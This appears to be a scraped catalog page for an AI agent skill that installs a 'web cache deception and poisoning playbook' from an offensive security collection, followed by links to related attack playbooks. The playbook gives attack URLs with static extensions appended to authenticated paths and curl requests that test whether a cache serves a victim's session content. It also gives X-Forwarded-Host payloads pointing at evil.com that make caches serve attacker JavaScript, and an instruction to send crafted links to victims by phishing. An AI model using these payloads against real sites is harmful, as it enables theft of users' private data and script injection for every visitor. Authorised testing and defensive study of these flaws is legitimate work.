401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.
$ npx -y skills add yaklang/hack-skills --skill web-cache-deception --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/web-cache-deceptionContext preview
The summary Claude sees to decide when to auto-load this skill.
Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.
name: web-cache-deception description: >- Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.
> **AI LOAD INSTRUCTION**: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.
Also load [CACHE_POISONING_TECHNIQUES.md](./CACHE_POISONING_TECHNIQUES.md) when you need:
The attacker tricks a victim into requesting their authenticated page at a URL that the cache considers static:
Victim visits: https://target.com/account/profile/nonexistent.css → Application ignores "nonexistent.css", serves /account/profile (with auth data) → CDN sees .css extension → caches the response → Attacker fetches: https://target.com/account/profile/nonexistent.css → CDN serves cached authenticated content → attacker reads victim's data
The attacker manipulates unkeyed request components (headers, cookies) to make the cache store a malicious response:
GET /page HTTP/1.1 Host: target.com X-Forwarded-Host: evil.com → Application generates: <script src="https://evil.com/js/app.js"> → Cache stores this response → Normal users hit cache → load attacker's JavaScript
---
CDNs typically cache by file extension:
.css .js .jpg .png .gif .svg .ico .woff .woff2 .ttf .pdf .json (sometimes)
# Append static extension to authenticated endpoint: https://target.com/api/me/info.css https://target.com/account/profile/x.js https://target.com/settings/avatar.png https://target.com/dashboard/data.json # Path traversal style: https://target.com/account/profile/..%2fstatic/app.css
# Request as victim (authenticated): curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css # Check response headers: # X-Cache: MISS (first request) # Age: 0 # Request again as attacker (no auth): curl https://target.com/account/profile/x.css # Check response: # X-Cache: HIT # Contains victim's authenticated content? → vulnerable
Send the crafted URL to victim via phishing, message, or embed:
https://target.com/account/profile/tracking.gif
---
Cache keys typically include: `Host`, URL path, query string. These are typically NOT in the cache key: `X-Forwarded-Host`, `X-Forwarded-Scheme`, `X-Original-URL`, cookies, custom headers.
# Test if X-Forwarded-Host is reflected but not keyed: curl -H "X-Forwarded-Host: evil.com" https://target.com/page # If response contains evil.com and caches → poisonable
X-Forwarded-Host X-Forwarded-Scheme X-Forwarded-Proto X-Original-URL X-Rewrite-URL X-Host X-Forwarded-Server Forwarded True-Client-IP
GET / HTTP/1.1 Host: target.com X-Forwarded-Host: evil.com → Response: <link href="//evil.com/static/main.css"> → Cached → all users load attacker's CSS/JS
---
The key to cache deception: **CDN and application normalize paths differently**.
| Component | Behavior | |---|---| | CDN (Cloudflare, Akamai) | Caches based on full URL path including extension | | Application (Rails, Django, Express) | May ignore trailing path segments or extensions | | Reverse proxy (Nginx) | May strip or rewrite path before forwarding |
# Application treats these as equivalent: /account/profile /account/profile/anything /account/profile/x.css /account/profile;.css # CDN treats .css as cacheable static asset → Mismatch = vulnerability
---
# Target page uses X-Forwarded-Host to generate meta tags: GET / HTTP/1.1 Host: target.com X-Forwarded-Host: evil.com # Response: <meta property="og:image" content="https://evil.com/assets/logo.png"> # or: <link rel="canonical" href="https://evil.com/"> # If response is cached → all users see evil.com references # Impact: XSS via injected JS path, phishing via canonical redirect, SEO hijack
# Semicolon (treated as path parameter by some frameworks): /account/profile;.css # Encoded separators: /account/profile%2F.css # Trailing dot/space: /account/profile/.css /account/profile .css
---
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…